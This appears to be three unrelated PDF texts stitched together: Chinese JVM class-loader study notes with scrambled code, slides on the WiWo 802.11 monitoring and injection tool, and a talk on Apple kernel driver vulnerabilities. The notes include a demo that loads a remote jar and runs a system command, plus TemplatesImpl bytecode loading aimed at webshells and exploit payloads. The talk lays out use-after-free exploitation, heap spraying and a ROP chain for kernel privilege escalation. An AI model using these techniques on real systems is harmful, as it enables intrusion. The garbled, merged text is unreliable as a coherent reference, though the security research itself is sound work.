JVM类加载器与双亲委派 学习视频:学习视频 类的生命周期 一个类从加载到jvm内存,到从jvm内存卸载,生命周期可分为七个阶段。 1. 加载(Loading):classpath,jar包,网络,磁盘位置下的类的class以二进制字节流读进来,在内存 中生成一个代表这个类的Class类对象放入元空间。可以自定义类加载器。 2. 验证(Verification):验证Class文件的字节流中包含的信息是否符合java虚拟机规范 3. 准备(Preparation):类变量赋默认初始值 4. 解析(Resolution):把符合引用翻译为直接引用 5. 初始化(Initialization) 6. 使用(Using) 7. 卸载(Unloading) 类加载器 什么是类加载器 在类加载阶段,通过一个类的全限定名来获取描述该类的二进制字节流的这个动作的‘代码’被称 为‘类加载器’,这个动作可以自动有实现 jvm有哪些类加载器 1. 启动类(根)加载器:(Bootstrap Classloader),使用C++实现,是虚拟机自身的一部分 2. 其他类加载器:由java语言实现,全部继承自抽象类 java.lang.CLassLoader 3. jdk的三层类加载结构 不同类加载器加载哪些文件 1. 启动类加载器:<JAVA_HOME>\jre\lib\rt.jar,resources.jar,charsets.jar,被-Xbootclasspath参数 所指定的路径中存放的类库 2. 扩展类加载器:<JAVA_HOME>\jre\lib\ext,被java.ext.dirs系统变量所指定的路径中所有的类库。 3. 应用程序类加载器(Application Classloader):系统类加载器,加载用户类路径(classPath)上所 有的类库。 注意:三层加载器不是类的继承关系。 appclassloader 和 extclassloader 继承自 urlclassload ,二者之间没有继承关系。 package com; public class example {    public static void main(String[] args) {        example example = new example();        Class<? extends com.example> aClass = example.getClass(); 双亲委派模型 当尝试加载 java.lang.String 类的时候,首先是 App ClassLoader 委派给 Ext ClassLoader ,然后 Ext ClassLoader 也不加载而是委派给 BootStrap ClassLoader 进行加 载,之后 Bootstrap Loader 尝试加载,如果加载失败再交还 Ext classLoader 进行加载,如果 依然失败再交给 App Classloader 。 打破双亲委派模型        ClassLoader classLoader = aClass.getClassLoader();        System.out.println(classLoader); //AppClassLoader        System.out.println(classLoader.getParent());//ExtClassLoader        System.out.println(classLoader.getParent().getParent());//null 1. 不存在 或java程序获取不到,根加载器使用CPP系的,无法获取        System.out.println(classLoader.getParent().getParent().getParent());   } } ///////////////////////////////////////////////// sun.misc.Launcher$AppClassLoader@18b4aac2 sun.misc.Launcher$ExtClassLoader@4554617c null Exception in thread "main" java.lang.NullPointerException   at com.example.main(example.java:14) 自定义类加载器,重写其中的loadClass方法,使其不进行双亲委派。 当调用 super.loadClass(var1, var2) 去找父类加载的时候,最终找到的是 java.lang.CLassloader ,再这个 java.lang.CLassloader#loadClass() 方法中实现了双亲 委派。 public Class<?> loadClass(String var1, boolean var2) throws ClassNotFoundException {            int var3 = var1.lastIndexOf(46);            if (var3 != -1) {                SecurityManager var4 = System.getSecurityManager();                if (var4 != null) {                    var4.checkPackageAccess(var1.substring(0, var3));               }           }            if (this.ucp.knownToNotExist(var1)) {                Class var5 = this.findLoadedClass(var1);                if (var5 != null) {                    if (var2) {                        this.resolveClass(var5);                   }                    return var5;               } else {                    throw new ClassNotFoundException(var1);               }           } else {                return super.loadClass(var1, var2); //调用父类加载器 (java.lang.CLassloader)           }       } protected Class<?> loadClass(String name, boolean resolve)        throws ClassNotFoundException   { if (parent != null) 会判断这个父加载器是否存在,如果存在,则使用父加载器,其中注意的 是parent是jvm指定的,并不是子父类的继承关系。 类加载过程 1、首先是调用 public Class<?> loadClass(String name) 方法,通过public方法调用保护方 法 protected Class<?> loadClass(String name, boolean resolve) 2、在protected loadClass方法中,第406行会调用一个findLoadedClass方法判断当前类是否已经 加载。 如果类已经加载,直接返回当前类的类对象。 3、如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载 器加载TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载。 4、如果通过类加载器没有办法加载类,则会通过findClass方法尝试加载类。 5、如果当前的ClassLoader没有重写findClass方法,则会直接返回类不存在。跟进findClass方法 进行查看。        synchronized (getClassLoadingLock(name)) {            // First, check if the class has already been loaded            Class<?> c = findLoadedClass(name);            if (c == null) {                long t0 = System.nanoTime();                try {                    if (parent != null) {                        c = parent.loadClass(name, false);                   } else {                        c = findBootstrapClassOrNull(name);                   }               } catch (ClassNotFoundException e) {                    // ClassNotFoundException thrown if class not found                    // from the non-null parent class loader               }                if (c == null) {                    // If still not found, then invoke findClass in order                    // to find the class.                    long t1 = System.nanoTime();                    c = findClass(name);                    // this is the defining class loader; record the stats                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);  sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);                    sun.misc.PerfCounter.getFindClasses().increment();               }           }            if (resolve) {                resolveClass(c);           }            return c;       }   } 如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestHelloWorld类名找 到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。 6、如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认 为false。 7、返回一个JVM加载后的java.lang.Class类对象 自定义ClassLoader java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载 器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader 类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。 package com.sec.classloader; import java.lang.reflect.Method; /* 尝试自定义ClassLoader 如果一个TestHelloWorld类根本不存在,我们可以通过自定义类加载器重写findCLass方法,然后调用 defineClass方法 的时候传入TestHelloWorld类的字节码,来像JVM中定义一个TestHelloWorld类, 最后通过反射机制就可以调用TestHelloWorld类的hello方法了。 package com.anbai.sec.classloader; * Creator: yz * Date: 2019/12/17 //public class TestHelloWorld { // //   public String hello() { //       return "Hello World~"; //   } // //} */ public class selfClassLoader extends ClassLoader {    private static String testClassName="com.anbai.sec.classloader.TestHelloWorld";    //testHelloWorld类的字节码    private static byte[] testClassBytes = new byte[]{            -54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,            16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,            1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执 行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只 能算弱加密了)。 loadClass,findClass,defineClass区别 1. loadClass主要进行类加载的方法,默认的双亲委派机制在这个方法中实现,当我们需要打破双亲 委派机制时可以通过重写loadClass方法 2. findClass根据名称或位置加载.class字节码            101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,            114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,            32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,            115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,            116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,            97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,            0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,            1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,            0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,            0, 0, 0, 2, 0, 12   };    public Class<?> findClass(String name) throws ClassNotFoundException{        //只处理testHelloWorld类        if (name.equals(testClassName)){            return defineClass(testClassName,testClassBytes,0, testClassBytes.length);       }        return super.findClass(name);  //如果不是testHelloWorld返回父类的findClass方 法,即类不存在   }    public static void main(String[] args) {        selfClassLoader loader=new selfClassLoader();        try {            Class testClass=loader.loadClass(testClassName); //调用loadClass方法加 载类,返回一个Class类对象            Object testInstance=testClass.newInstance();//// 反射创建 TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();            Method method=testInstance.getClass().getMethod("hello");            String str=(String) method.invoke(testInstance);            System.out.println(str);       }catch (Exception e){            e.printStackTrace();       }   } } 3. defineClass把字节码转换为Class类对象。 URLClassLoader TemplatesImpl 加载字节码 package com.sec.classloader; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.net.URL; import java.net.URLClassLoader; /* URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力 在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法 调用。 */ public class urlClassLoaderDemo {    public static void main(String[] args) {        try {            // 定义远程加载的jar路径            URL url = new URL("http://localhost/java/calc.jar");            // 创建URLClassLoader对象,并加载远程jar包            URLClassLoader ucl = new URLClassLoader(new URL[]{url});            // 定义需要执行的系统命令            String cmd = "whoami";            // 通过URLClassLoader加载远程jar包中的CMD类            Class cmdClass = ucl.loadClass("calc");            // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);            // 获取命令执行结果的输入流            InputStream in = process.getInputStream();            ByteArrayOutputStream baos = new ByteArrayOutputStream();            byte[] b = new byte[1024];            int a = -1;            // 读取命令执行结果            while ((a = in.read(b)) != -1) {                baos.write(b, 0, a);           }            // 输出命令执行结果            System.out.println(baos.toString());       } catch (Exception e) {            e.printStackTrace();       }   } } 说明 利用 classloader 中的 defineClass 直接加载字节码。每一个类加载器最后都是通过 defineClass 方法来加载字节码。在 TemplatesImpl 类中有实现自定义的 defineClass ,可以 通过这个 TemplatesImpl 类来加载我们自己的代码。调用链: TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() - >TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass() package SecurityRambling.TemplatesImpl_; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class TemplatesImpl_ {    public static void main(String[] args) throws TransformerConfigurationException, IOException {        String str="yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAG" +  "AcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3h" +  "zbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZ" +  "XJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb" +  "25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb" +  "20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW" +  "4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsp " +  "VgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADg AP" +  "BwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcG wBAEBjb" +  "20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5 zbGV0AQA" +  "5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uA QAQamF2Y" +  "S9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnR TdHJlYW0" +  "BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAA BkAAAADAAA" +  "AAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKA AAABgABAAAA" +  "CgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAw AAAA0ABAAO" +            "AAwADwABABAAAAACABE=";        //System.out.println(str);        byte[] code = Base64.getDecoder().decode(str);        byteToFile(code);        String s = fileToBase64();        System.out.println(s);        //System.out.println(new String(code));        TemplatesImpl templates = new TemplatesImpl();        TemplatesImpl_.setFieldValue(templates,"_name","HelloTemplatesImpl");        TemplatesImpl_.setFieldValue(templates,"_bytecodes",new byte[][]{code});        TemplatesImpl_.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());        templates.newTransformer();   }    private static void setFieldValue(Object obj,String FieldName,Object setObj) {        try {            Field field = obj.getClass().getDeclaredField(FieldName);            field.setAccessible(true);            field.set(obj,setObj);       }catch (Exception e){            e.printStackTrace();       }   }    private static byte[] fileToByte() throws IOException {  //文件转字节        File file = new File("E:\\技术文章\\自己的\\代码审计 \\java\\ysoserial\\src\\main\\java\\SecurityRambling\\TemplatesImpl_\\test.class" );        FileInputStream inputStream = new FileInputStream(file);        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        byte[] bytes = new byte[1024];        int n;        while ((n=inputStream.read(bytes))!=-1){            byteArrayOutputStream.write(bytes,0,n);       }        inputStream.close();        byteArrayOutputStream.close();        return byteArrayOutputStream.toByteArray();   }    private static void byteToFile(byte[] bytes) throws IOException{  //字节转文件        if(bytes.length == 0){            return;       } 几点疑问 1. 利用 TemplatesImpl 加载字节码之后是不会自动创建类对象的,这个对象需要显示的创建。 在上面的 demo 当中创建对象的代码位于 getTransletInstance 方法当中。通过反射创建。 tomcat的类加载机制        File file = new File("E:\\技术文章\\自己的\\代码审计 \\java\\ysoserial\\src\\main\\java\\SecurityRambling\\TemplatesImpl_\\test.class" );        FileOutputStream fileOutputStream = new FileOutputStream(file);        BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(fileOutputStream);        bufferedOutputStream.write(bytes);        bufferedOutputStream.close();        fileOutputStream.close();   }    private static String fileToBase64() throws IOException{  //文件转base64编码        byte[] bytes = fileToByte();        byte[] encode = Base64.getEncoder().encode(bytes);        return new String(encode);   } } BootStrap中定义类加载器 为什么tomcat要打破双亲委派模型
pdf
802.11 Massive Monitoring Andrés Blanco - Andrés Gazzoli Outline • Introduction • Approaches • The USB Dilemma • Distributed System • WiWo • Questions Introduction [ Who is this talk for? ] Introduction [ Who is this talk for? ] Introduction [ Who is this talk for? ] Introduction [ Who is this talk for? ] Introduction [ Who is this talk for? ] Introduction [ goals ] • Monitor • Channel hopping traffic (such as WiFi-Direct) • Access Points with auto channel selection • Multiple Access Points on different channels • Stations • Multiple locations at the same time • Inject frames on multiple channels Introduction [ 802.11 channels ] Channel Frequency 1 2412 2 2417 3 2422 4 2427 5 2432 6 2437 7 2442 8 2447 9 2452 10 2457 11 2462 12 2467 13 2472 14 2484 Channel Frequency 131 3657.5 132 3660.0 - 3662.5 133 3665.0 - 3667.5 134 3670.0 - 3672.5 135 3675.0 - 3677.5 136 3680.0 - 3682.5 137 3685.0 - 3687.5 138 3690.0 - 3692.5 2.4 GHz (802.11b/g/n) 3.6 GHz (802.11y) Channel Frequency 36 5180 40 5200 44 5220 48 5240 52 5260 56 5280 60 5300 64 5320 100 5500 104 5520 108 5540 112 5560 Channel Frequency 116 5580 120 5600 124 5620 128 5640 132 5660 136 5680 140 5700 149 5745 153 5765 157 5785 161 5805 165 5825 5 GHz (802.11a/h/j/n/ac) Approaches [ first approach ] Approaches [ second approach ] Approaches [ wireshark ] Wireless Interface DHCP DNS HTTP Probe Request Wireless Interface DHCP DNS HTTP Probe Request Approaches [ station profiler ] … Profiler Demo [ second approach ] Wireless Network Traffic could be displayed during the demo. Please disable Wi-Fi if you don’t want to be part of it. The USB Dilemma [ scalability ] The USB Dilemma [ scalability ] The USB Dilemma [ bus saturation ] Demo [ bus saturation ] Wireless Network Traffic could be displayed during the demo. Please disable Wi-Fi if you don’t want to be part of it. Wireless Interface USB Bus Filter Kernel User Space The USB Dilemma [ bus saturation ] Firmware The USB Dilemma [ bus saturation ] The USB Dilemma [ bus saturation ] The USB Dilemma [ non-removable devices ] Bluetooth Webcam The USB Dilemma [ non-removable devices ] The USB Dilemma [ available buses ] USB Port 1 The USB Dilemma [ available buses ] USB Port 2 The USB Dilemma [ available buses ] USB Port 3 The USB Dilemma [ power issues ] USB Bus Filter Kernel User Space The USB Dilemma [ the option? ] Wireless Interface Firmware Worker Ethernet Filter Manager Distributed System [ scalability ] Distributed System [ scalability ] Distributed System [ scalability ] WiWo is a distributed 802.11 monitoring and injecting system that was designed to be simple and scalable, in which all workers (nodes) can be managed by a Python framework. WiWo [ introduction ] WiWo [ workers ] CPU Atheros AR7240@400MHz RAM 32MiB Flash 4MiB Network 1 x 100MBit TP-Link TL-MR3020 WiWo [ workers ] CPU Atheros AR9344 @ 560 MHz RAM 128MiB Flash 8MiB Network 4 x 1000MBit TP-Link TL-WDR3600 WiWo [ workers ] CPU Atheros AR7240 @ 400MHz RAM 32MiB Flash 4MiB Network 1 x 100MBit TP-Link TL-MR3040 WiWo [ features ] Manager Look for workers Get worker’s wireless interface information Set worker’s wireless interface channel Start monitoring on a worker’s wireless interface Inject frame on a worker’s wireless interface WiWo [ manager architecture overview ] Manager Manager Service Data Frame Handler Management Frame Handler WiWo [ ethernet ] • Plug n’ Play • Silence on the wire • Avoid overhead to keep fragmentation low WiWo [ scalable ] WiWo [ scalable ] WiWo [ usage ideas ] • IDS/IPS • Traffic analysis • Device Tracking • Protocol analysis WiWo [ hardware PoC ] Demo [ WiWo ] Wireless Network Traffic could be displayed during the demo. Please disable Wi-Fi if you don’t want to be part of it. Future Work • IP support • Build more OpenWRT firmware’s • Code more examples • Interaction with other tools Questions? https://github.com/CoreSecurity/wiwo https://twitter.com/6e726d ablanco@coresecurity.com agazzoli@coresecurity.com https://twitter.com/rcpota
pdf
One bite and all your dreams will come true: Analyzing and Attacking Apple Kernel Drivers X(aolon& Ba( & M(n Spar)) Zhen& 1 Xiaolong Bai Alibaba Security Engineer  Ph.D. graduated from Tsinghua University Published papers on the top 4: S&P, Usenix Security, CCS, NDSS Twitter, Weibo, Github: bxl1989 Min (Spark) Zheng Alibaba Security Expert Ph.D. graduated from The CUHK Twitter@SparkZheng Weibo@spark 2 1 Overview 2 New vulns in Apple drivers 3 Obstacles in analyzing Apple drivers 3 4 Ryuk: a new static analysis tool to analyze drivers 5 Ryuk-Fuzz: combine fuzzing with static analysis 6 Conclusions Overview 4 Every driver is a kernel extension (.kext) sharing the same space with the kernel Location of driver binaries: •On macOS: /System/Library/Extensions •On iOS: integrated with kernel in kernelcache 5 Userclient: kernel objects for drivers to provide service to programs in userspace Userclient is the interface between user-space applications and devices 6 In order to provide services, userclients need to implement several callback methods: • externalMethod: Provide methods that can be called in user- space • clientMemoryForType: Share memory with apps in user- space • registerNotificationPort: Allow user-space app to register for notifications • clientClose: Close connection with user-space app • … 7 externalMethod(uint32_t selector,  
 IOExternalMethodArguments *arguments, 
 IOExternalMethodDispatch *dispatch, 
 OSObject *target, void *reference); •Callback to provide methods to userspace program •selector: to select method in userclient •arguments: arguments passed to the selected method •dispatch: a struct representing the method to be called •target: the target userclient for the method to be called on •reference: reference to send results back to userspace program 8 Despite of strict sandbox restriction, some userclients are still be accessible to sandboxed apps on iOS: •IOHIDLibUserClient •IOMobileFramebufferUserClient •IOSurfaceAcceleratorClient •AppleJPEGDriverUserClient •IOAccelDevice2, IOAccelSharedUserClient2, IOAccelCommandQueue2 •AppleKeyStoreUserClient •IOSurfaceSendRight, IOSurfaceRootUserClient 9 New vulns in Apple drivers 10 Drivers are good targets for exploiting the kernel •Share the same space with the kernel •Have kernel privileges •Some programmed by third-party vendors, not kernel developer •Code quality is not guaranteed Drivers are frequently exploited in attacks against the kernel, including jailbreaks 11 Previous vulns in drivers used in jailbreaks: •11 (v0rtex/electra): IOSurfaceRoot (CVE-2017-13861) •9 (pangu): IOMobileFrameBuffer (CVE-2016-4654) •8 (TaiG): IOHIDFamily (CVE-2015-5774) •7 (pangu): AppleKeyStore  (CVE-2014-4407)  Next, let’s have a look at some new vulns we recently discovered in Apple drivers! 12 Privilege escalation on macOS 10.13.3 13 This privilege escalation leverages a new Use-After- Free vulnerability in the driver IOAcceleratorFamily2 •IOAccelDisplayPipeUserClient2::s_transaction_end All IOAccelDisplayPipeUserClient2 
 share the same IOAccelDisplayPipe2 14 This privilege escalation leverages a new Use-After- Free vulnerability in the driver IOAcceleratorFamily2 •IOAccelDisplayPipe2::transaction_end IOAccelDisplayPipe2 contains a link list of IOAccelDisplayPipe2Transaction2. IOAccelDisplayPipe2::transaction_end traverse the link list to find a transaction And further call IOAccelDisplayPipeTransaction2::set_transaction_args using the found transaction A link list of transactions in this IOAccelDisplayPipe2 15 This privilege escalation leverages a new Use-After- Free vulnerability in the driver IOAcceleratorFamily2 •IOAccelDisplayPipeTransaction2::set_transaction_args mAccelDisplayPipeUserClient2 is a member of IOAccelDisplayPipeTransaction2, 
 whose type is IOAccelDisplayPipeUserClient2, 
 representing which userclient the transaction belongs to The userclient that this transaction belongs to 16 This privilege escalation leverages a new Use-After- Free vulnerability in the driver IOAcceleratorFamily2 •But, mAccelDisplayPipeUserClient2 can be released by calling IOServiceClose from user space, causing use- after-free Userclient can be released from user space Cause use-after-freee 17 Exploitation of the bug • Creat 2 IOAccelDisplayPipeUserClient2 • Begin a IOAccelDisplayPipeTransaction2 by userclient1 • Release userclient1 • End the transaction from userclient2 —> use-after-free The bug is not exploitable now! •Reason: different IOAccelDisplayPipeUserClient2 do not share the same IOAccelDisplayPipe2 now ! 18 Besides the above vuln, we also discovered some other new vulns in Apple drivers •CVE-2017-7119 •CVE-2018-4135 Next, we will show details of these vulns 19 CVE-2017-7119 •Information leakage in IOFirewireFamily •Caused by uninitialized stack variable •In IOFireWireUserClient::externalMethod 20 CVE-2017-7119 •In IOFireWireUserClient::isochChannel_Create 21 CVE-2017-7119 •In IOFWUserObjectExporter::addObject •outHandle should be set with the index of new-added object •But, when newCapacity reaches 0xFFFE, new object will not be added and outHandle will not be set 22 CVE-2017-7119 •Recall in IOFireWireUserClient::externalMethod •outHandle is unintialized and returned to userspace •Information leak! 23 CVE-2017-7119 •Can be exploited to get kernel slide, defeat kaslr, e.g. Kernel slide = 0x4ebc0b6-0x8bc0b6 = 0x4600000 Though outChannelHandle is only 32bit, but enough since the high 32bit is always 0xffffff80 here 24 CVE-2018-4135 •Use-After-Free in IOFirewireFamily driver •Lack of locking or serialization when using and releasing a member variable •Can be exploited to control PC in kernel 25 CVE-2018-4135 •Use-After-Free in IOFirewireFamily driver •Lack of locking or serialization when using and releasing a member variable •In IOFireWireUserClient::externalMethod, 26 CVE-2018-4135 •IOFireWireUserClient::userAsyncCommand_Submit looks up for a IOFWUserReadCommand and calls its “submit” method 27 CVE-2018-4135 •In IOFWUserReadCommand::submit 28 CVE-2018-4135 •(a) release fMem, (b) uses fMem (fMem is a member) 29 CVE-2018-4135 Exploit: •Create two threads to invoke method on the same userclient •One thread release fMem, the other uses it 30 How to exploit Use-After-Free bug in the kernel for privilege escalation? Basic flow: Construct ROP chain Trigger release Heap spray in kernel Trigger use … Target Object … … Empty Slot … … Fake object with fake viable … … Fake object with fake viable … PC control 31 A new heap spray method on macOS •Utilize OSUnserializeXML •Set properties of a device 32 A new heap spray method on macOS •Some drivers keep any properties set by userspace, e.g., IOHIDEventService •Pros: the sprayed data can be read; the head of sprayed data is controllable 33 ROP chain for privilege escalation Stack Pivot _current_proc _proc_ucred _posix_cred_get _bzero _thread_excep+on_return Get0ptr0to0struct0proc0of0current0process Get0ucred0from0struct0proc,0i.e.,0process0owner's0iden+ty Get0ptr0to0struct0cr_posix Clear0cr_uid,0cr_ruid,0cr_svuid0in0cr_posix0struct Exit0kernel,0return0to0userspace 34 Stack Pivot: Change current stack, for performing ROP in an elegant way •Previous Methods (Unavailable Now) In tpwn (on 10.10) In rootsh (on 10.11) 35 Stack Pivot: Change current stack, for performing ROP in an elegant way •New Method Step 1: Control RAX and affect RCX (Gadget P1) Step 2: Modify RSP by controlled RCX (Gadget P2) 36 Layout of gadgets in a ROP chain •Assume: RAX is controlled and [RAX+0x10] is to be called •Store address X in RAX, X contains a ROP chain Addr of Gadget P2 New RSP: X+0x50 Addr of Gadget P1 X Addr of Gadget “NOP; RET;” Addr of _current_proc and Gadget “MOV RDI, RAX” Address of _proc_ucred and Gadget “MOV RDI, RAX” Address of _posix_cred_get and Gadget “MOV RDI, RAX” Addr of _bzero X X+0x8 Addr of G_thread_exception_return … X+0x10, ROP starts from here X+0x30 X+0x38 X+0x40, start privilege escalation Content Address 37 Privilege escalation on the macOS 10.13 and 10.13.2 38 Obstacles in analyzing Apple drivers 39 Analyzing macOS and iOS kernel drivers is not easy! •Drivers are closed-source: binaries are lack of high-level semantics and variable types are lost •Drivers are programmed in C++: virtual functions are widely used but object types are unknown —> the real function called is unknown •Symbols are lost in iOS drivers: iOS kernelcache strips all symbols in drivers 40 What does a driver’s binary look like in IDA pro? •macOS driver: some symbols are kept 41 What does a driver’s binary look like in IDA pro? •macOS driver: But! Wrong parameter inference, lack of variable types, unrecognizable virtual function calls Wrong parameter inference Variable types are lost Virtual function calls are unrecognizable 42 What does a driver’s binary look like in IDA pro? •iOS driver: symbols are totally lost 43 What does a driver’s binary look like in IDA pro? •iOS driver: data structure is gone, e.g. this figure should be the location of a virtual table 44 What does a driver’s binary look like in IDA pro? •iOS driver: meaningless function names, totally lost variable types, unrecognized virtual function calls Wrong decompile result everywhere ! 45 What exactly do we want for a binary to be? •Function (including virtual func) calls are recognizable, the called functions are known •Missing symbols are recovered, decompiled code is understandable… Why? •Knowing the real call target is a prerequisite for inter- procedure analysis and futher analysis •Manual review needs meaningful decompiled code 46 What exactly do we want for a binary to be? •Just like we have the source code 47 Ryuk: a new static analysis tool 
 to analyze Apple drivers 48 Ryuk: a new static analysis tool aiming at solving uncertainties in Apple drivers, for further analyzing drivers’ security •Implemented as an IDA pro python script *Ryuk: a character in the comics series Death Note, who loves eating apples. 49 Ryuk’s features (functionalities): •Class recognition: identify classes’ information •VTable recognition: identify classes’ virtual functions •Recover function names: only for iOS drivers •Resolve variable types: resolve and mark variable types •Add cross references: for members and virtual funcs •UI support: better UI support for manual review • Call graph generation: for inter-procedure analysis 50 Class recognition •Purpose: for variable type inference and further analysis • Method: depend on RTTI information left in binaries • Apple drivers are programed in C++ and support a limited RTTI feature • __mod_init_func: a section containing initialization functions to support RTTI • Analyzing functions in __mod_init_func section, we can get information of classes (name, size…) 51 Class recognition • __mod_init_func macOS iOS 52 Class recognition • Functions in __mod_init_func: register class information macOS iOS Class Name Class Size 53 Class recognition • Decompiled code of functions in __mod_init_func macOS iOS 54 Class recognition • With identified class names and sizes, we can create structures to represent these classes in IDA pro 55 VTable recognition •In C++, virtual functions of a class are organized in a structure called VTable, which is in __const section •In every C++ class, the first member is always a pointer to this VTable. Source code VTable Decompiled 
 code 56 VTable recognition •Purpose: resolve the real targets of virtual function calls • Method: on macOS, there are symbols for VTables Symbols of VTables VTable structure 57 VTable recognition • Method: on iOS, several steps depending on the vtable’s specific structure • Hint: find class’s global metaclass object and further find VTable Class’s global metaclass object VTable start 58 VTable recognition • iOS Step 1: adjust __const section in IDA pro • In __const, mark each 8 bytes as a pointer 59 VTable recognition • iOS Step 2: find address of class’s global metaclass object in initialization function of __mod_init_func • In Apple driver, most C++ classes have a global metaclass object describing the class’s basic information Initialization function of __mod_init_func Address of class’s global metaclass object 60 VTable recognition • iOS Step 3: check cross references of the global metaclass object, find the one in const section and near the VTable In const section 
 and near VTable 61 VTable recognition • iOS Step 4: found VTable The address of global metalcass object VTable start found! 62 VTable recognition • After recognition, create structure in IDA pro standing for the VTable, each member is pointer to a virtual func • Set the first member of class structure as a pointer to this VTable structure VTable structure Class structure 63 Recover function names (only for iOS) • In drivers, most classes inherit from classes in the kernel, e.g., IOService, OSObject • Most classes in the kernel still keep symbols • In C++, when a child class inherits from a parent class and overrides a virtual function, the overriden function has same name and offset in VTable A::foo class A { public: virtual void foo(); } class B: public A { public: virtual void foo(); } … … B::foo … … A’s VTable B’s VTable Same name
 Same offset
 in VTable 64 Recover function names (only for iOS) • Only recover the overridden virtual functions in classes inherited from classes in the kernel • Not a complete solution, but cover plenty of critical functions IOSurfaceRoot’s VTable (IOSurfaceRoot is inherited from IOSerivce) IOService’ VTable IOSurfaceRoot::
 getMetaClass overriden
 functions IOSurfaceRoot::
 free IOSurfaceRoot::
